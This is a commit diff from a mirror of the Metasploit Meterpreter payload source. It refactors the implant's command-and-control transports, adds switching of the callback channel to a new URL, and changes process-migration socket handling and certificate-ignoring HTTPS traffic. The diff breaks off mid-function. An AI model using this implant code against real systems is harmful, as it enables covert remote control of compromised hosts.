mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-01-02 11:36:22 +01:00
Merge branch 'upstream/master' into bind-ipv6-and-ipv4
This commit is contained in:
commit
bea5c1a4ff
@ -49,7 +49,9 @@ remote_request_core_migrate(Remote *remote, Packet *packet)
|
||||
l.entry_point,
|
||||
sock_path);
|
||||
|
||||
orig_fd = remote_get_fd(remote);
|
||||
if (remote->transport->get_socket) {
|
||||
orig_fd = remote->transport->get_socket(remote->transport);
|
||||
}
|
||||
|
||||
dprintf("[MIGRATE] Creating passfd thread to share socket %d", orig_fd);
|
||||
|
||||
@ -85,3 +87,39 @@ remote_request_core_migrate(Remote *remote, Packet *packet)
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
extern Transport* transport_create_tcp(wchar_t* url);
|
||||
|
||||
#if 0
|
||||
// TODO: put this back in when the stageless work has been completed for POSIX.
|
||||
BOOL
|
||||
remote_request_core_change_transport(Remote* remote, Packet* packet, DWORD* pResult) {
|
||||
DWORD result = ERROR_NOT_ENOUGH_MEMORY;
|
||||
Packet* response = packet_create_response(packet);
|
||||
UINT transportType = packet_get_tlv_value_uint(packet, TLV_TYPE_TRANSPORT_TYPE);
|
||||
char* transportUrl = packet_get_tlv_value_string(packet, TLV_TYPE_TRANSPORT_URL);
|
||||
size_t urlSize;
|
||||
|
||||
dprintf("[CHANGE TRANS] Type: %u", transportType);
|
||||
dprintf("[CHANGE TRANS] Url: %s", transportUrl);
|
||||
|
||||
if (response == NULL || transportUrl == NULL) {
|
||||
dprintf("[CHANGE TRANS] Something was NULL");
|
||||
goto out;
|
||||
}
|
||||
|
||||
if (transportType == METERPRETER_TRANSPORT_SSL) {
|
||||
remote->nextTransport = transport_create_tcp(transportUrl);
|
||||
result = ERROR_SUCCESS;
|
||||
}
|
||||
else {
|
||||
dprintf("[CHANGE TRANS] Unsupported");
|
||||
}
|
||||
|
||||
out:
|
||||
if (packet) {
|
||||
packet_transmit_empty_response(remote, response, result);
|
||||
}
|
||||
|
||||
return result == ERROR_SUCCESS ? FALSE : TRUE;
|
||||
}
|
||||
#endif
|
||||
|
@ -59,6 +59,67 @@ typedef struct _MIGRATECONTEXT
|
||||
|
||||
} MIGRATECONTEXT, * LPMIGRATECONTEXT;
|
||||
|
||||
|
||||
extern Transport* transport_create_tcp(wchar_t* url);
|
||||
extern Transport* transport_create_http(BOOL ssl, wchar_t* url, wchar_t* ua, wchar_t* proxy,
|
||||
wchar_t* proxyUser, wchar_t* proxyPass, PBYTE certHash, int expirationTime, int commsTimeout);
|
||||
|
||||
BOOL remote_request_core_change_transport(Remote* remote, Packet* packet, DWORD* pResult)
|
||||
{
|
||||
DWORD result = ERROR_NOT_ENOUGH_MEMORY;
|
||||
Packet* response = packet_create_response(packet);
|
||||
UINT transportType = packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_TYPE);
|
||||
wchar_t* transportUrl = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL);
|
||||
|
||||
dprintf("[CHANGE TRANS] Type: %u", transportType);
|
||||
dprintf("[CHANGE TRANS] Url: %S", transportUrl);
|
||||
|
||||
do
|
||||
{
|
||||
if (response == NULL || transportUrl == NULL)
|
||||
{
|
||||
dprintf("[CHANGE TRANS] Something was NULL");
|
||||
break;
|
||||
}
|
||||
|
||||
if (transportType == METERPRETER_TRANSPORT_SSL)
|
||||
{
|
||||
remote->nextTransport = transport_create_tcp(transportUrl);
|
||||
}
|
||||
else
|
||||
{
|
||||
BOOL ssl = transportType == METERPRETER_TRANSPORT_HTTPS;
|
||||
wchar_t* ua = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_UA);
|
||||
wchar_t* proxy = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_INFO);
|
||||
wchar_t* proxyUser = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_USER);
|
||||
wchar_t* proxyPass = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_PASS);
|
||||
PBYTE certHash = packet_get_tlv_value_raw(packet, TLV_TYPE_TRANS_CERT_HASH);
|
||||
int expirationTimeout = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_SESSION_EXP);
|
||||
int commsTimeout = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMMS_TIMEOUT);
|
||||
|
||||
remote->nextTransport = transport_create_http(ssl, transportUrl, ua, proxy,
|
||||
proxyUser, proxyPass, certHash, expirationTimeout, commsTimeout);
|
||||
|
||||
SAFE_FREE(ua);
|
||||
SAFE_FREE(proxy);
|
||||
SAFE_FREE(proxyUser);
|
||||
SAFE_FREE(proxyPass);
|
||||
}
|
||||
|
||||
// tell the server dispatch to exit, it should pick up the new transport
|
||||
result = ERROR_SUCCESS;
|
||||
} while (0);
|
||||
|
||||
if (packet)
|
||||
{
|
||||
packet_transmit_empty_response(remote, response, result);
|
||||
}
|
||||
|
||||
SAFE_FREE(transportUrl);
|
||||
|
||||
return result == ERROR_SUCCESS ? FALSE : TRUE;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Migrate the meterpreter server from the current process into another process.
|
||||
* @param remote Pointer to the \c Remote instance.
|
||||
@ -130,9 +191,10 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
|
||||
BREAK_ON_ERROR("[MIGRATE] OpenProcess failed")
|
||||
}
|
||||
|
||||
if (remote->transport == METERPRETER_TRANSPORT_SSL) {
|
||||
if (remote->transport->get_socket)
|
||||
{
|
||||
// Duplicate the socket for the target process if we are SSL based
|
||||
if (WSADuplicateSocket(remote_get_fd(remote), dwProcessID, &ctx.info) != NO_ERROR)
|
||||
if (WSADuplicateSocket(remote->transport->get_socket(remote->transport), dwProcessID, &ctx.info) != NO_ERROR)
|
||||
{
|
||||
BREAK_ON_WSAERROR("[MIGRATE] WSADuplicateSocket failed")
|
||||
}
|
||||
|
@ -20,6 +20,10 @@ extern DWORD remote_request_core_crypto_negotiate( Remote *remote, Packet *packe
|
||||
|
||||
extern BOOL remote_request_core_shutdown(Remote *remote, Packet *packet, DWORD* pResult);
|
||||
|
||||
#ifdef _WIN32
|
||||
// POSIX support coming soon
|
||||
extern BOOL remote_request_core_change_transport( Remote *remote, Packet *packet, DWORD* pResult );
|
||||
#endif
|
||||
extern BOOL remote_request_core_migrate( Remote *remote, Packet *packet, DWORD* pResult );
|
||||
|
||||
// Local remote response implementors
|
||||
@ -71,6 +75,12 @@ Command baseCommands[] =
|
||||
COMMAND_REQ("core_channel_interact", remote_request_core_channel_interact),
|
||||
// Crypto
|
||||
COMMAND_REQ("core_crypto_negotiate", remote_request_core_crypto_negotiate),
|
||||
#ifdef _WIN32
|
||||
// TODO: finalise the implementation of stageless POSIX before enabling this for the
|
||||
// POSIX meterpreter.
|
||||
// transport switching
|
||||
COMMAND_INLINE_REQ("core_change_transport", remote_request_core_change_transport),
|
||||
#endif
|
||||
// Migration
|
||||
COMMAND_INLINE_REQ("core_migrate", remote_request_core_migrate),
|
||||
// Shutdown
|
||||
|
@ -12,13 +12,12 @@
|
||||
#include <stdio.h>
|
||||
#include <time.h>
|
||||
|
||||
#define SAFE_FREE(x) {if(x){free(x);x=NULL;}}
|
||||
|
||||
#ifdef _WIN32
|
||||
#include <winsock2.h>
|
||||
#include <windows.h>
|
||||
|
||||
/*! @brief When defined, tells metsrv to use WinHTTP instead of WinInet for HTTP(s) meterrpeter. */
|
||||
#define USE_WINHTTP
|
||||
|
||||
typedef DWORD __u32;
|
||||
typedef struct ___u128 {
|
||||
__u32 a1;
|
||||
@ -216,8 +215,11 @@ static _inline void real_dprintf(char *format, ...)
|
||||
{
|
||||
va_list args;
|
||||
char buffer[1024];
|
||||
va_start(args,format);
|
||||
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format,args);
|
||||
size_t len;
|
||||
_snprintf_s(buffer, sizeof(buffer), sizeof(buffer)-1, "[%x] ", GetCurrentThreadId());
|
||||
len = strlen(buffer);
|
||||
va_start(args, format);
|
||||
vsnprintf_s(buffer + len, sizeof(buffer)-len, sizeof(buffer)-len - 3, format, args);
|
||||
strcat_s(buffer, sizeof(buffer), "\r\n");
|
||||
OutputDebugStringA(buffer);
|
||||
}
|
||||
|
@ -8,13 +8,7 @@
|
||||
#include "common.h"
|
||||
|
||||
#ifdef _WIN32
|
||||
#ifdef USE_WINHTTP
|
||||
#include <winhttp.h>
|
||||
#define packet_transmit_via_http_lib packet_transmit_via_http_winhttp
|
||||
#else
|
||||
#include <wininet.h>
|
||||
#define packet_transmit_via_http_lib packet_transmit_via_http_wininet
|
||||
#endif
|
||||
#endif
|
||||
|
||||
DWORD packet_find_tlv_buf(Packet *packet, PUCHAR payload, DWORD payloadLength, DWORD index,
|
||||
@ -792,6 +786,34 @@ PCHAR packet_get_tlv_value_string( Packet *packet, TlvType type )
|
||||
return string;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Get the string value of a TLV as a wchar_t string.
|
||||
* @param packet Pointer to the packet to get the TLV from.
|
||||
* @param type Type of TLV to get (optional).
|
||||
* @return Pointer to the string value, if found.
|
||||
* @retval NULL The string value was not found in the TLV.
|
||||
* @retval Non-NULL Pointer to the string value (must be released with free()).
|
||||
* @remark This function allocates a new string and therefore must be released
|
||||
* using free().
|
||||
*/
|
||||
wchar_t* packet_get_tlv_value_wstring(Packet* packet, TlvType type)
|
||||
{
|
||||
size_t size;
|
||||
wchar_t* result = NULL;
|
||||
PCHAR string = packet_get_tlv_value_string(packet, type);
|
||||
|
||||
if (string)
|
||||
{
|
||||
size = mbstowcs(NULL, string, 0) + 1;
|
||||
result = (wchar_t*)calloc(size, sizeof(wchar_t));
|
||||
if (result)
|
||||
{
|
||||
mbstowcs(result, string, size);
|
||||
}
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Get the unsigned int value of a TLV.
|
||||
* @param packet Pointer to the packet to get the TLV from.
|
||||
@ -1169,27 +1191,28 @@ DWORD packet_remove_completion_handler( LPCSTR requestId )
|
||||
* @return An indication of the result of processing the transmission request.
|
||||
* @remark This uses an SSL-encrypted TCP channel, and does not imply the use of HTTPS.
|
||||
*/
|
||||
DWORD packet_transmit_via_ssl( Remote *remote, Packet *packet, PacketRequestCompletion *completion )
|
||||
DWORD packet_transmit_via_ssl(Remote* remote, Packet* packet, PacketRequestCompletion* completion)
|
||||
{
|
||||
CryptoContext *crypto;
|
||||
CryptoContext* crypto;
|
||||
Tlv requestId;
|
||||
DWORD res;
|
||||
DWORD idx;
|
||||
TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx;
|
||||
#ifdef _UNIX
|
||||
int local_error = -1;
|
||||
#endif
|
||||
|
||||
lock_acquire( remote->lock );
|
||||
lock_acquire(remote->lock);
|
||||
|
||||
// If the packet does not already have a request identifier, create one for it
|
||||
if (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID,&requestId) != ERROR_SUCCESS)
|
||||
if (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID, &requestId) != ERROR_SUCCESS)
|
||||
{
|
||||
DWORD index;
|
||||
CHAR rid[32];
|
||||
|
||||
rid[sizeof(rid) - 1] = 0;
|
||||
rid[sizeof(rid)-1] = 0;
|
||||
|
||||
for (index = 0; index < sizeof(rid) - 1; index++)
|
||||
for (index = 0; index < sizeof(rid)-1; index++)
|
||||
rid[index] = (rand() % 0x5e) + 0x21;
|
||||
|
||||
packet_add_tlv_string(packet, TLV_TYPE_REQUEST_ID, rid);
|
||||
@ -1200,24 +1223,24 @@ DWORD packet_transmit_via_ssl( Remote *remote, Packet *packet, PacketRequestComp
|
||||
// If a completion routine was supplied and the packet has a request
|
||||
// identifier, insert the completion routine into the list
|
||||
if ((completion) &&
|
||||
(packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID,
|
||||
&requestId) == ERROR_SUCCESS))
|
||||
(packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID,
|
||||
&requestId) == ERROR_SUCCESS))
|
||||
packet_add_completion_handler((LPCSTR)requestId.buffer, completion);
|
||||
|
||||
// If the endpoint has a cipher established and this is not a plaintext
|
||||
// packet, we encrypt
|
||||
if ((crypto = remote_get_cipher(remote)) &&
|
||||
(packet_get_type(packet) != PACKET_TLV_TYPE_PLAIN_REQUEST) &&
|
||||
(packet_get_type(packet) != PACKET_TLV_TYPE_PLAIN_RESPONSE))
|
||||
(packet_get_type(packet) != PACKET_TLV_TYPE_PLAIN_REQUEST) &&
|
||||
(packet_get_type(packet) != PACKET_TLV_TYPE_PLAIN_RESPONSE))
|
||||
{
|
||||
ULONG origPayloadLength = packet->payloadLength;
|
||||
PUCHAR origPayload = packet->payload;
|
||||
|
||||
// Encrypt
|
||||
if ((res = crypto->handlers.encrypt(crypto, packet->payload,
|
||||
packet->payloadLength, &packet->payload,
|
||||
&packet->payloadLength)) !=
|
||||
ERROR_SUCCESS)
|
||||
packet->payloadLength, &packet->payload,
|
||||
&packet->payloadLength)) !=
|
||||
ERROR_SUCCESS)
|
||||
{
|
||||
SetLastError(res);
|
||||
break;
|
||||
@ -1231,41 +1254,48 @@ DWORD packet_transmit_via_ssl( Remote *remote, Packet *packet, PacketRequestComp
|
||||
}
|
||||
|
||||
idx = 0;
|
||||
while( idx < sizeof(packet->header))
|
||||
while (idx < sizeof(packet->header))
|
||||
{
|
||||
// Transmit the packet's header (length, type)
|
||||
res = SSL_write(
|
||||
remote->ssl,
|
||||
ctx->ssl,
|
||||
(LPCSTR)(&packet->header) + idx,
|
||||
sizeof(packet->header) - idx
|
||||
);
|
||||
);
|
||||
|
||||
if(res <= 0) {
|
||||
if (res <= 0)
|
||||
{
|
||||
dprintf("[PACKET] transmit header failed with return %d at index %d\n", res, idx);
|
||||
break;
|
||||
}
|
||||
idx += res;
|
||||
}
|
||||
|
||||
if(res < 0)
|
||||
if (res < 0)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
idx = 0;
|
||||
while( idx < packet->payloadLength)
|
||||
while (idx < packet->payloadLength)
|
||||
{
|
||||
// Transmit the packet's payload (length, type)
|
||||
res = SSL_write(
|
||||
remote->ssl,
|
||||
ctx->ssl,
|
||||
packet->payload + idx,
|
||||
packet->payloadLength - idx
|
||||
);
|
||||
if(res < 0)
|
||||
);
|
||||
|
||||
if (res < 0)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
idx += res;
|
||||
}
|
||||
|
||||
if(res < 0) {
|
||||
if (res < 0)
|
||||
{
|
||||
dprintf("[PACKET] transmit header failed with return %d at index %d\n", res, idx);
|
||||
break;
|
||||
}
|
||||
@ -1278,13 +1308,12 @@ DWORD packet_transmit_via_ssl( Remote *remote, Packet *packet, PacketRequestComp
|
||||
// Destroy the packet
|
||||
packet_destroy(packet);
|
||||
|
||||
lock_release( remote->lock );
|
||||
lock_release(remote->lock);
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
#ifdef _WIN32
|
||||
#ifdef USE_WINHTTP
|
||||
/*!
|
||||
* @brief Windows-specific function to transmit a packet via HTTP(s) using winhttp _and_ destroy it.
|
||||
* @param remote Pointer to the \c Remote instance.
|
||||
@ -1301,6 +1330,7 @@ DWORD packet_transmit_via_http_winhttp(Remote *remote, Packet *packet, PacketReq
|
||||
DWORD retries = 5;
|
||||
DWORD flags;
|
||||
DWORD flen;
|
||||
HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx;
|
||||
unsigned char *buffer;
|
||||
|
||||
flen = sizeof(flags);
|
||||
@ -1318,42 +1348,54 @@ DWORD packet_transmit_via_http_winhttp(Remote *remote, Packet *packet, PacketReq
|
||||
do
|
||||
{
|
||||
flags = WINHTTP_FLAG_BYPASS_PROXY_CACHE;
|
||||
if (remote->transport == METERPRETER_TRANSPORT_HTTPS)
|
||||
if (ctx->ssl)
|
||||
{
|
||||
flags |= WINHTTP_FLAG_SECURE;
|
||||
dprintf("[PACKET TRANSMIT] Setting secure flag");
|
||||
}
|
||||
|
||||
hReq = WinHttpOpenRequest(remote->hConnection, L"POST", remote->uri, NULL, NULL, NULL, flags);
|
||||
vdprintf("[PACKET TRANSMIT] Attempting WinHttpOpenRequest on %x to %S", ctx->connection, ctx->uri);
|
||||
hReq = WinHttpOpenRequest(ctx->connection, L"POST", ctx->uri, NULL, NULL, NULL, flags);
|
||||
|
||||
if (hReq == NULL)
|
||||
{
|
||||
dprintf("[PACKET TRANSMIT] Failed WinHttpOpenRequest: %d", GetLastError());
|
||||
dprintf("[PACKET TRANSMIT] Failed WinHttpOpenRequest: %d, %d", GetLastError(), WSAGetLastError());
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf("[PACKET TRANSMIT] Request created: %x", hReq);
|
||||
|
||||
if (remote->transport == METERPRETER_TRANSPORT_HTTPS)
|
||||
if (ctx->proxy_user)
|
||||
{
|
||||
dprintf("[PACKET TRANSMIT] Setting proxy username to %S", ctx->proxy_user);
|
||||
dprintf("[PACKET TRANSMIT] Setting proxy password to %S", ctx->proxy_pass);
|
||||
if (!WinHttpSetCredentials(hReq, WINHTTP_AUTH_TARGET_PROXY, WINHTTP_AUTH_SCHEME_BASIC, ctx->proxy_user, ctx->proxy_pass, NULL))
|
||||
{
|
||||
dprintf("[PACKET TRANSMIT] Failed to set creds %u", GetLastError());
|
||||
}
|
||||
}
|
||||
|
||||
if (ctx->ssl)
|
||||
{
|
||||
flags = SECURITY_FLAG_IGNORE_UNKNOWN_CA
|
||||
| SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
|
||||
| SECURITY_FLAG_IGNORE_CERT_CN_INVALID
|
||||
| SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
|
||||
|
||||
dprintf("[PACKET TRANSMIT] setting flags to : %x", flags);
|
||||
|
||||
if (!WinHttpSetOption(hReq, WINHTTP_OPTION_SECURITY_FLAGS, &flags, sizeof(flags)))
|
||||
{
|
||||
dprintf("[PACKET TRANSMIT] failed to set security flags");
|
||||
}
|
||||
}
|
||||
dprintf("[PACKET TRANSMIT] flags set to : %x", flags);
|
||||
|
||||
hRes = WinHttpSendRequest(hReq, NULL, 0, buffer, packet->payloadLength + sizeof(TlvHeader), packet->payloadLength + sizeof(TlvHeader), 0);
|
||||
|
||||
if (!hRes)
|
||||
{
|
||||
dprintf("[PACKET RECEIVE] Failed HttpSendRequest: %d", GetLastError());
|
||||
dprintf("[PACKET TRANSMIT] Failed HttpSendRequest: %d", GetLastError());
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
break;
|
||||
}
|
||||
@ -1366,78 +1408,6 @@ DWORD packet_transmit_via_http_winhttp(Remote *remote, Packet *packet, PacketReq
|
||||
return res;
|
||||
}
|
||||
|
||||
#else
|
||||
|
||||
/*!
|
||||
* @brief Windows-specific function to transmit a packet via HTTP(s) _and_ destroy it.
|
||||
* @param remote Pointer to the \c Remote instance.
|
||||
* @param packet Pointer to the \c Packet that is to be sent.
|
||||
* @param completion Pointer to the completion routines to process.
|
||||
* @return An indication of the result of processing the transmission request.
|
||||
* @remark This function is not available on POSIX.
|
||||
*/
|
||||
DWORD packet_transmit_via_http_wininet(Remote *remote, Packet *packet, PacketRequestCompletion *completion)
|
||||
{
|
||||
DWORD res = 0;
|
||||
HINTERNET hReq;
|
||||
BOOL hRes;
|
||||
DWORD retries = 5;
|
||||
DWORD flags;
|
||||
DWORD flen;
|
||||
unsigned char *buffer;
|
||||
|
||||
flen = sizeof(flags);
|
||||
|
||||
buffer = malloc(packet->payloadLength + sizeof(TlvHeader));
|
||||
if (!buffer)
|
||||
{
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
return 0;
|
||||
}
|
||||
|
||||
memcpy(buffer, &packet->header, sizeof(TlvHeader));
|
||||
memcpy(buffer + sizeof(TlvHeader), packet->payload, packet->payloadLength);
|
||||
|
||||
do
|
||||
{
|
||||
|
||||
flags = INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_AUTO_REDIRECT | INTERNET_FLAG_NO_UI;
|
||||
if (remote->transport == METERPRETER_TRANSPORT_HTTPS) {
|
||||
flags |= INTERNET_FLAG_SECURE | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID;
|
||||
}
|
||||
|
||||
hReq = HttpOpenRequestW(remote->hConnection, L"POST", remote->uri, NULL, NULL, NULL, flags, 0);
|
||||
|
||||
if (hReq == NULL)
|
||||
{
|
||||
dprintf("[PACKET RECEIVE] Failed HttpOpenRequest: %d", GetLastError());
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
break;
|
||||
}
|
||||
|
||||
if (remote->transport == METERPRETER_TRANSPORT_HTTPS)
|
||||
{
|
||||
InternetQueryOption(hReq, INTERNET_OPTION_SECURITY_FLAGS, &flags, &flen);
|
||||
flags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_UNKNOWN_CA;
|
||||
InternetSetOption(hReq, INTERNET_OPTION_SECURITY_FLAGS, &flags, flen);
|
||||
}
|
||||
|
||||
hRes = HttpSendRequest(hReq, NULL, 0, buffer, packet->payloadLength + sizeof(TlvHeader));
|
||||
|
||||
if (!hRes)
|
||||
{
|
||||
dprintf("[PACKET RECEIVE] Failed HttpSendRequest: %d", GetLastError());
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
break;
|
||||
}
|
||||
} while (0);
|
||||
|
||||
memset(buffer, 0, packet->payloadLength + sizeof(TlvHeader));
|
||||
InternetCloseHandle(hReq);
|
||||
return res;
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
@ -1457,7 +1427,6 @@ DWORD packet_transmit_via_http(Remote *remote, Packet *packet, PacketRequestComp
|
||||
int local_error = -1;
|
||||
#endif
|
||||
|
||||
|
||||
lock_acquire(remote->lock);
|
||||
|
||||
// If the packet does not already have a request identifier, create one for it
|
||||
@ -1512,8 +1481,8 @@ DWORD packet_transmit_via_http(Remote *remote, Packet *packet, PacketRequestComp
|
||||
}
|
||||
|
||||
#ifdef _WIN32
|
||||
dprintf("Transmitting packet of length %d to remote", packet->payloadLength);
|
||||
res = packet_transmit_via_http_lib(remote, packet, completion);
|
||||
dprintf("[PACKET] Transmitting packet of length %d to remote", packet->payloadLength);
|
||||
res = packet_transmit_via_http_winhttp(remote, packet, completion);
|
||||
#else
|
||||
// XXX: Implement non-windows HTTP delivery
|
||||
#endif
|
||||
@ -1546,17 +1515,10 @@ DWORD packet_transmit_via_http(Remote *remote, Packet *packet, PacketRequestComp
|
||||
* @remark This function simply proxies to \c packet_transmit_via_ssl or \c packet_transmit_via_http
|
||||
* depending on what the remote transport type is.
|
||||
*/
|
||||
DWORD packet_transmit( Remote *remote, Packet *packet, PacketRequestCompletion *completion )
|
||||
DWORD packet_transmit(Remote *remote, Packet *packet, PacketRequestCompletion *completion)
|
||||
{
|
||||
if (remote->transport == METERPRETER_TRANSPORT_SSL)
|
||||
{
|
||||
return packet_transmit_via_ssl(remote, packet, completion);
|
||||
}
|
||||
if (remote->transport == METERPRETER_TRANSPORT_HTTP || remote->transport == METERPRETER_TRANSPORT_HTTPS)
|
||||
{
|
||||
return packet_transmit_via_http(remote, packet, completion);
|
||||
}
|
||||
return 0;
|
||||
// TODO: remove this function when all the other bits are in line.
|
||||
return remote->transport->packet_transmit(remote, packet, completion);
|
||||
}
|
||||
|
||||
/*!
|
||||
@ -1566,12 +1528,14 @@ DWORD packet_transmit( Remote *remote, Packet *packet, PacketRequestCompletion *
|
||||
* @param res Result code to return.
|
||||
* @return An indication of the result of processing the transmission request.
|
||||
*/
|
||||
DWORD packet_transmit_empty_response( Remote *remote, Packet *packet, DWORD res )
|
||||
DWORD packet_transmit_empty_response(Remote *remote, Packet *packet, DWORD res)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
|
||||
if (!response)
|
||||
{
|
||||
return ERROR_NOT_ENOUGH_MEMORY;
|
||||
}
|
||||
|
||||
// Add the result code
|
||||
packet_add_tlv_uint(response, TLV_TYPE_RESULT, res);
|
||||
@ -1587,6 +1551,17 @@ DWORD packet_transmit_empty_response( Remote *remote, Packet *packet, DWORD res
|
||||
* @return An indication of the result of processing the transmission request.
|
||||
*/
|
||||
DWORD packet_receive(Remote *remote, Packet **packet)
|
||||
{
|
||||
return remote->transport->packet_receive(remote, packet);
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Receive a new packet on the given remote endpoint.
|
||||
* @param remote Pointer to the \c Remote instance.
|
||||
* @param packet Pointer to a pointer that will receive the \c Packet data.
|
||||
* @return An indication of the result of processing the transmission request.
|
||||
*/
|
||||
DWORD packet_receive_via_ssl(Remote *remote, Packet **packet)
|
||||
{
|
||||
DWORD headerBytes = 0, payloadBytesLeft = 0, res;
|
||||
CryptoContext *crypto = NULL;
|
||||
@ -1596,16 +1571,12 @@ DWORD packet_receive(Remote *remote, Packet **packet)
|
||||
BOOL inHeader = TRUE;
|
||||
PUCHAR payload = NULL;
|
||||
ULONG payloadLength;
|
||||
TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx;
|
||||
|
||||
#ifdef _UNIX
|
||||
int local_error = -1;
|
||||
#endif
|
||||
|
||||
if (remote->transport == METERPRETER_TRANSPORT_HTTP || remote->transport == METERPRETER_TRANSPORT_HTTPS)
|
||||
{
|
||||
return packet_receive_via_http(remote, packet);
|
||||
}
|
||||
|
||||
lock_acquire(remote->lock);
|
||||
|
||||
do
|
||||
@ -1613,7 +1584,7 @@ DWORD packet_receive(Remote *remote, Packet **packet)
|
||||
// Read the packet length
|
||||
while (inHeader)
|
||||
{
|
||||
if ((bytesRead = SSL_read(remote->ssl, ((PUCHAR)&header + headerBytes), sizeof(TlvHeader)-headerBytes)) <= 0)
|
||||
if ((bytesRead = SSL_read(ctx->ssl, ((PUCHAR)&header + headerBytes), sizeof(TlvHeader)-headerBytes)) <= 0)
|
||||
{
|
||||
if (!bytesRead)
|
||||
{
|
||||
@ -1622,7 +1593,7 @@ DWORD packet_receive(Remote *remote, Packet **packet)
|
||||
|
||||
if (bytesRead < 0)
|
||||
{
|
||||
dprintf("[PACKET] receive header failed with error code %d. SSLerror=%d, WSALastError=%d\n", bytesRead, SSL_get_error(remote->ssl, bytesRead), WSAGetLastError());
|
||||
dprintf("[PACKET] receive header failed with error code %d. SSLerror=%d, WSALastError=%d\n", bytesRead, SSL_get_error(ctx->ssl, bytesRead), WSAGetLastError());
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
}
|
||||
|
||||
@ -1660,7 +1631,7 @@ DWORD packet_receive(Remote *remote, Packet **packet)
|
||||
// Read the payload
|
||||
while (payloadBytesLeft > 0)
|
||||
{
|
||||
if ((bytesRead = SSL_read(remote->ssl, payload + payloadLength - payloadBytesLeft, payloadBytesLeft)) <= 0)
|
||||
if ((bytesRead = SSL_read(ctx->ssl, payload + payloadLength - payloadBytesLeft, payloadBytesLeft)) <= 0)
|
||||
{
|
||||
|
||||
if (GetLastError() == WSAEWOULDBLOCK)
|
||||
@ -1675,7 +1646,7 @@ DWORD packet_receive(Remote *remote, Packet **packet)
|
||||
|
||||
if (bytesRead < 0)
|
||||
{
|
||||
dprintf("[PACKET] receive payload of length %d failed with error code %d. SSLerror=%d\n", payloadLength, bytesRead, SSL_get_error(remote->ssl, bytesRead));
|
||||
dprintf("[PACKET] receive payload of length %d failed with error code %d. SSLerror=%d\n", payloadLength, bytesRead, SSL_get_error(ctx->ssl, bytesRead));
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
}
|
||||
|
||||
@ -1752,8 +1723,6 @@ DWORD packet_receive(Remote *remote, Packet **packet)
|
||||
}
|
||||
|
||||
#ifdef _WIN32
|
||||
#ifdef USE_WINHTTP
|
||||
|
||||
/*!
|
||||
* @brief Windows-specific function to receive a new packet via WinHTTP.
|
||||
* @param remote Pointer to the \c Remote instance.
|
||||
@ -1772,6 +1741,7 @@ DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet)
|
||||
PUCHAR payload = NULL;
|
||||
ULONG payloadLength;
|
||||
DWORD flags;
|
||||
HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx;
|
||||
|
||||
HINTERNET hReq;
|
||||
BOOL hRes;
|
||||
@ -1782,14 +1752,14 @@ DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet)
|
||||
do
|
||||
{
|
||||
flags = WINHTTP_FLAG_BYPASS_PROXY_CACHE;
|
||||
if (remote->transport == METERPRETER_TRANSPORT_HTTPS)
|
||||
if (ctx->ssl)
|
||||
{
|
||||
flags |= WINHTTP_FLAG_SECURE;
|
||||
vdprintf("[PACKET RECEIVE WINHTTPS] Setting secure flag..");
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] Setting secure flag..");
|
||||
}
|
||||
|
||||
vdprintf("[PACKET RECEIVE WINHTTPS] opening request on connection %x to %S", remote->hConnection, remote->uri);
|
||||
hReq = WinHttpOpenRequest(remote->hConnection, L"POST", remote->uri, NULL, NULL, NULL, flags);
|
||||
vdprintf("[PACKET RECEIVE WINHTTP] opening request on connection %x to %S", ctx->connection, ctx->uri);
|
||||
hReq = WinHttpOpenRequest(ctx->connection, L"POST", ctx->uri, NULL, NULL, NULL, flags);
|
||||
|
||||
if (hReq == NULL)
|
||||
{
|
||||
@ -1798,34 +1768,42 @@ DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet)
|
||||
break;
|
||||
}
|
||||
|
||||
